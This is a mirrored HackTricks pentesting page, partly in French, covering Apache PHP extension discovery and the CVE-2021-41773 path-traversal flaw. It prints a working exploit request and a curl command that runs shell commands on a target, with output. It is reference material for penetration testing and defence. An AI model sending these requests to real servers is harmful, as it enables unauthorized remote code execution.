mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 00:53:43 +00:00
79 lines
5.1 KiB
Markdown
79 lines
5.1 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
# Extensions PHP exécutables
|
|
|
|
Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter:
|
|
```bash
|
|
grep -R -B1 "httpd-php" /etc/apache2
|
|
```
|
|
Aussi, vous pouvez trouver cette configuration dans les endroits suivants:
|
|
```bash
|
|
/etc/apache2/mods-available/php5.conf
|
|
/etc/apache2/mods-enabled/php5.conf
|
|
/etc/apache2/mods-available/php7.3.conf
|
|
/etc/apache2/mods-enabled/php7.3.conf
|
|
```
|
|
# CVE-2021-41773
|
|
|
|
## Description
|
|
|
|
CVE-2021-41773 is a vulnerability in Apache HTTP Server that allows an attacker to send a specially crafted request to the server and execute arbitrary code with the privileges of the user running the server. This vulnerability is caused by a flaw in the way that Apache HTTP Server handles requests with a specific combination of configuration options.
|
|
|
|
## Impact
|
|
|
|
An attacker can exploit this vulnerability to execute arbitrary code with the privileges of the user running the server. This can lead to a complete compromise of the affected system.
|
|
|
|
## Exploitation
|
|
|
|
To exploit this vulnerability, an attacker can send a specially crafted request to the server. The following request will trigger the vulnerability:
|
|
|
|
```
|
|
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
|
|
Host: example.com
|
|
```
|
|
|
|
This request will execute the `/bin/sh` command with the privileges of the user running the server.
|
|
|
|
## Mitigation
|
|
|
|
The Apache Software Foundation has released patches to address this vulnerability. Users are advised to update their Apache HTTP Server installations to the latest version as soon as possible.
|
|
|
|
## References
|
|
|
|
- [CVE-2021-41773](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773)
|
|
- [Apache HTTP Server Security Vulnerabilities](https://httpd.apache.org/security/vulnerabilities_24.html)
|
|
```bash
|
|
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
|
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
|
Linux
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|